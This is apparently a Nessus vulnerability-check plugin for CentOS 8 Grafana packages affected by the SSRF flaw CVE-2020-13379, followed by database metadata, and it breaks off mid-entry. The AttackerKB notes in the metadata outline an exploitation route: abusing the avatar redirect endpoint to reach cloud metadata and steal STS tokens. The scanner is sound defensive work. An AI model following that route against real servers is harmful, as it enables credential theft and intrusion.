ID CENTOS8_RHSA-2020-2641.NASL Type nessus Reporter This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof. Modified 2021-02-01T00:00:00
Description
The remote CentOS Linux 8 host has packages installed that are affected by a vulnerability as referenced in the
CESA-2020:2641 advisory.
grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send
HTTP requests to any URL (CVE-2020-13379)
Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version
number.
##
# (C) Tenable Network Security, Inc.
#
# The package checks in this plugin were extracted from
# Red Hat Security Advisory RHSA-2020:2641. The text
# itself is copyright (C) Red Hat, Inc.
##
include('compat.inc');
if (description)
{
script_id(145905);
script_version("1.3");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/02/03");
script_cve_id("CVE-2020-13379");
script_xref(name:"RHSA", value:"2020:2641");
script_name(english:"CentOS 8 : grafana (CESA-2020:2641)");
script_summary(english:"Checks the rpm output for the updated packages");
script_set_attribute(attribute:"synopsis", value:
"The remote CentOS host is missing a security update.");
script_set_attribute(attribute:"description", value:
"The remote CentOS Linux 8 host has packages installed that are affected by a vulnerability as referenced in the
CESA-2020:2641 advisory.
- grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send
HTTP requests to any URL (CVE-2020-13379)
Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version
number.");
script_set_attribute(attribute:"see_also", value:"https://access.redhat.com/errata/RHSA-2020:2641");
script_set_attribute(attribute:"solution", value:
"Update the affected packages.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2020-13379");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2020/06/03");
script_set_attribute(attribute:"patch_publication_date", value:"2020/06/22");
script_set_attribute(attribute:"plugin_publication_date", value:"2021/02/01");
script_set_attribute(attribute:"plugin_type", value:"local");
script_set_attribute(attribute:"cpe", value:"cpe:/o:centos:centos:8");
script_set_attribute(attribute:"cpe", value:"cpe:/a:centos:centos:8::appstream");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:grafana");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:grafana-azure-monitor");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:grafana-cloudwatch");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:grafana-elasticsearch");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:grafana-graphite");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:grafana-influxdb");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:grafana-loki");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:grafana-mssql");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:grafana-mysql");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:grafana-opentsdb");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:grafana-postgres");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:grafana-prometheus");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:centos:centos:grafana-stackdriver");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_family(english:"CentOS Local Security Checks");
script_copyright(english:"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("ssh_get_info.nasl");
script_require_keys("Host/local_checks_enabled", "Host/CentOS/release", "Host/CentOS/rpm-list", "Host/cpu");
exit(0);
}
include('audit.inc');
include('global_settings.inc');
include('misc_func.inc');
include('rpm.inc');
include('rhel.inc');
if (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item('Host/CentOS/release');
if (isnull(release) || 'CentOS' >!< release) audit(AUDIT_OS_NOT, 'CentOS');
os_ver = pregmatch(pattern: "CentOS(?: Stream)?(?: Linux)? release ([0-9]+)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'CentOS');
os_ver = os_ver[1];
if ('CentOS Stream' >< release) audit(AUDIT_OS_NOT, 'CentOS 8.x', 'CentOS Stream ' + os_ver);
if (!rhel_check_release(operator: 'ge', os_version: os_ver, rhel_version: '8')) audit(AUDIT_OS_NOT, 'CentOS 8.x', 'CentOS ' + os_ver);
if (!get_kb_item('Host/CentOS/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);
cpu = get_kb_item('Host/cpu');
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ('x86_64' >!< cpu && cpu !~ "^i[3-6]86$" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'CentOS', cpu);
pkgs = [
{'reference':'grafana-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-azure-monitor-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-azure-monitor-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-cloudwatch-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-cloudwatch-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-elasticsearch-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-elasticsearch-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-graphite-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-graphite-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-influxdb-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-influxdb-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-loki-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-loki-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-mssql-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-mssql-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-mysql-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-mysql-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-opentsdb-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-opentsdb-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-postgres-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-postgres-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-prometheus-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-prometheus-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-stackdriver-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},
{'reference':'grafana-stackdriver-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE}
];
flag = 0;
foreach package_array ( pkgs ) {
reference = NULL;
release = NULL;
sp = NULL;
cpu = NULL;
el_string = NULL;
rpm_spec_vers_cmp = NULL;
epoch = NULL;
allowmaj = NULL;
if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];
if (!empty_or_null(package_array['release'])) release = 'CentOS-' + package_array['release'];
if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];
if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];
if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];
if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];
if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];
if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];
if (reference && release) {
if (rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;
}
}
if (flag)
{
security_report_v4(
port : 0,
severity : SECURITY_WARNING,
extra : rpm_report_get()
);
exit(0);
}
else
{
tested = pkg_tests_get();
if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'grafana / grafana-azure-monitor / grafana-cloudwatch / etc');
}
{"id": "CENTOS8_RHSA-2020-2641.NASL", "bulletinFamily": "scanner", "title": "CentOS 8 : grafana (CESA-2020:2641)", "description": "The remote CentOS Linux 8 host has packages installed that are affected by a vulnerability as referenced in the\nCESA-2020:2641 advisory.\n\n - grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send\n HTTP requests to any URL (CVE-2020-13379)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.", "published": "2021-02-01T00:00:00", "modified": "2021-02-01T00:00:00", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}, "href": "https://www.tenable.com/plugins/nessus/145905", "reporter": "This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.", "references": ["https://access.redhat.com/errata/RHSA-2020:2641"], "cvelist": ["CVE-2020-13379"], "type": "nessus", "lastseen": "2021-02-04T09:22:57", "edition": 2, "viewCount": 2, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:72725B13-8444-4A5A-B4E8-71CF57FF5C25"]}, {"type": "cve", "idList": ["CVE-2020-13379"]}, {"type": "zdt", "idList": ["1337DAY-ID-34640"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310853237", "OPENVAS:1361412562310877981", "OPENVAS:1361412562310877964", "OPENVAS:1361412562310144077"]}, {"type": "redhat", "idList": ["RHSA-2020:2676", "RHSA-2020:2861", "RHSA-2020:2792", "RHSA-2020:5599", "RHSA-2021:0083", "RHSA-2020:2641", "RHSA-2020:2796"]}, {"type": "exploitdb", "idList": ["EDB-ID:48638"]}, {"type": "nessus", "idList": ["OPENSUSE-2020-892.NASL", "OPENSUSE-2020-1105.NASL", "SUSE_SU-2020-1970-1.NASL", "REDHAT-RHSA-2020-5599.NASL", "REDHAT-RHSA-2020-2861.NASL", "FEDORA_2020-A09E5BE0BE.NASL", "FEDORA_2020-E6E81A03D6.NASL", "REDHAT-RHSA-2020-2676.NASL", "REDHAT-RHSA-2020-2641.NASL", "ORACLELINUX_ELSA-2020-2641.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:158320"]}, {"type": "oraclelinux", "idList": ["ELSA-2020-2641", "ELSA-2020-4682", "ELSA-2020-5726"]}, {"type": "avleonov", "idList": ["AVLEONOV:8D88294824DE33106DA78BF53C68AEB6"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2020:1105-1", "OPENSUSE-SU-2020:0892-1", "OPENSUSE-SU-2020:1611-1", "OPENSUSE-SU-2020:1646-1"]}, {"type": "fedora", "idList": ["FEDORA:6B2F331352FF", "FEDORA:77DCE3126D28"]}], "modified": "2021-02-04T09:22:57", "rev": 2}, "score": {"value": 5.2, "vector": "NONE", "modified": "2021-02-04T09:22:57", "rev": 2}, "vulnersScore": 5.2}, "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The package checks in this plugin were extracted from\n# Red Hat Security Advisory RHSA-2020:2641. The text\n# itself is copyright (C) Red Hat, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(145905);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/02/03\");\n\n script_cve_id(\"CVE-2020-13379\");\n script_xref(name:\"RHSA\", value:\"2020:2641\");\n\n script_name(english:\"CentOS 8 : grafana (CESA-2020:2641)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote CentOS host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote CentOS Linux 8 host has packages installed that are affected by a vulnerability as referenced in the\nCESA-2020:2641 advisory.\n\n - grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send\n HTTP requests to any URL (CVE-2020-13379)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2020:2641\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-13379\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/06/03\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/06/22\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/02/01\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:centos:centos:8\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:centos:centos:8::appstream\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:grafana\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:grafana-azure-monitor\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:grafana-cloudwatch\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:grafana-elasticsearch\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:grafana-graphite\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:grafana-influxdb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:grafana-loki\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:grafana-mssql\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:grafana-mysql\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:grafana-opentsdb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:grafana-postgres\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:grafana-prometheus\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:grafana-stackdriver\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"CentOS Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/CentOS/release\", \"Host/CentOS/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\ninclude('rhel.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item('Host/CentOS/release');\nif (isnull(release) || 'CentOS' >!< release) audit(AUDIT_OS_NOT, 'CentOS');\nos_ver = pregmatch(pattern: \"CentOS(?: Stream)?(?: Linux)? release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'CentOS');\nos_ver = os_ver[1];\nif ('CentOS Stream' >< release) audit(AUDIT_OS_NOT, 'CentOS 8.x', 'CentOS Stream ' + os_ver);\nif (!rhel_check_release(operator: 'ge', os_version: os_ver, rhel_version: '8')) audit(AUDIT_OS_NOT, 'CentOS 8.x', 'CentOS ' + os_ver);\n\nif (!get_kb_item('Host/CentOS/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'CentOS', cpu);\n\npkgs = [\n {'reference':'grafana-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-azure-monitor-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-azure-monitor-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-cloudwatch-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-cloudwatch-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-elasticsearch-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-elasticsearch-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-graphite-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-graphite-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-influxdb-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-influxdb-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-loki-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-loki-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-mssql-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-mssql-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-mysql-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-mysql-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-opentsdb-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-opentsdb-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-postgres-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-postgres-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-prometheus-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-prometheus-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-stackdriver-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'grafana-stackdriver-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'rpm_spec_vers_cmp':TRUE}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n el_string = NULL;\n rpm_spec_vers_cmp = NULL;\n epoch = NULL;\n allowmaj = NULL;\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'CentOS-' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (reference && release) {\n if (rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n}\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'grafana / grafana-azure-monitor / grafana-cloudwatch / etc');\n}\n", "naslFamily": "CentOS Local Security Checks", "pluginID": "145905", "cpe": ["p-cpe:/a:centos:centos:grafana-mssql", "p-cpe:/a:centos:centos:grafana-postgres", "p-cpe:/a:centos:centos:grafana", "p-cpe:/a:centos:centos:grafana-stackdriver", "p-cpe:/a:centos:centos:grafana-influxdb", "p-cpe:/a:centos:centos:grafana-elasticsearch", "p-cpe:/a:centos:centos:grafana-loki", "p-cpe:/a:centos:centos:grafana-opentsdb", "p-cpe:/a:centos:centos:grafana-cloudwatch", "p-cpe:/a:centos:centos:grafana-graphite", "p-cpe:/a:centos:centos:grafana-azure-monitor", "cpe:/o:centos:centos:8", "p-cpe:/a:centos:centos:grafana-mysql", "p-cpe:/a:centos:centos:grafana-prometheus", "cpe:/a:centos:centos:8::appstream"], "cvss3": {"score": 8.2, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"}, "scheme": null}
{"attackerkb": [{"lastseen": "2021-01-27T12:13:21", "bulletinFamily": "info", "cvelist": ["CVE-2020-13379"], "description": "The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client. This can be used to gain information about the network that Grafana is running on. Furthermore, passing invalid URL objects could be used for DOS\u2019ing Grafana via SegFault.\n\n \n**Recent assessments:** \n \n**ericalexanderorg** at June 10, 2020 3:18pm UTC reported:\n\nSSRF should be possible through <https://vulnerable.host/avatar/redirect>\n\nThat redirect is tricky since the vulnerable code is splitting on \u201c/\u201d and taking the last value. Need it to hit a url with a vulnerable redirect that can redirect to a metadata URL. From there it may be possible to hit the metadata url and grab STS tokens or pivot elsewhere.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 3**wvu-r7** at August 03, 2020 11:17pm UTC reported:\n\nSSRF should be possible through <https://vulnerable.host/avatar/redirect>\n\nThat redirect is tricky since the vulnerable code is splitting on \u201c/\u201d and taking the last value. Need it to hit a url with a vulnerable redirect that can redirect to a metadata URL. From there it may be possible to hit the metadata url and grab STS tokens or pivot elsewhere.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 3\n", "modified": "2020-08-03T00:00:00", "published": "2020-06-03T00:00:00", "id": "AKB:72725B13-8444-4A5A-B4E8-71CF57FF5C25", "href": "https://attackerkb.com/topics/REAQ6mMHtt/cve-2020-13379", "type": "attackerkb", "title": "CVE-2020-13379", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}], "cve": [{"lastseen": "2021-02-02T07:36:58", "description": "The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client. This can be used to gain information about the network that Grafana is running on. Furthermore, passing invalid URL objects could be used for DOS'ing Grafana via SegFault.", "edition": 23, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 8.2, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 4.2}, "published": "2020-06-03T19:15:00", "title": "CVE-2020-13379", "type": "cve", "cwe": ["CWE-918"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-13379"], "modified": "2021-01-29T16:41:00", "cpe": ["cpe:/a:netapp:e-series_performance_analyzer:-", "cpe:/a:grafana:grafana:7.0.1", "cpe:/o:fedoraproject:fedora:32", "cpe:/o:opensuse:leap:15.2", "cpe:/a:opensuse:backports_sle:15.0", "cpe:/o:fedoraproject:fedora:31"], "id": "CVE-2020-13379", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-13379", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}, "cpe23": ["cpe:2.3:o:fedoraproject:fedora:32:*:*:*:*:*:*:*", "cpe:2.3:a:opensuse:backports_sle:15.0:sp2:*:*:*:*:*:*", "cpe:2.3:a:opensuse:backports_sle:15.0:sp1:*:*:*:*:*:*", "cpe:2.3:o:opensuse:leap:15.2:*:*:*:*:*:*:*", "cpe:2.3:a:grafana:grafana:7.0.1:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:31:*:*:*:*:*:*:*", "cpe:2.3:a:netapp:e-series_performance_analyzer:-:*:*:*:*:*:*:*"]}], "openvas": [{"lastseen": "2020-06-22T15:24:24", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-13379"], "description": "Grafana is prone to a server-side request forgery vulnerability.", "modified": "2020-06-19T00:00:00", "published": "2020-06-08T00:00:00", "id": "OPENVAS:1361412562310144077", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310144077", "type": "openvas", "title": "Grafana 3.0.1 < 6.7.4, 7.0 < 7.0.2 SSRF Vulnerability", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from (a) referenced\n# source(s), and are Copyright (C) by the respective right holder(s).\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nCPE = 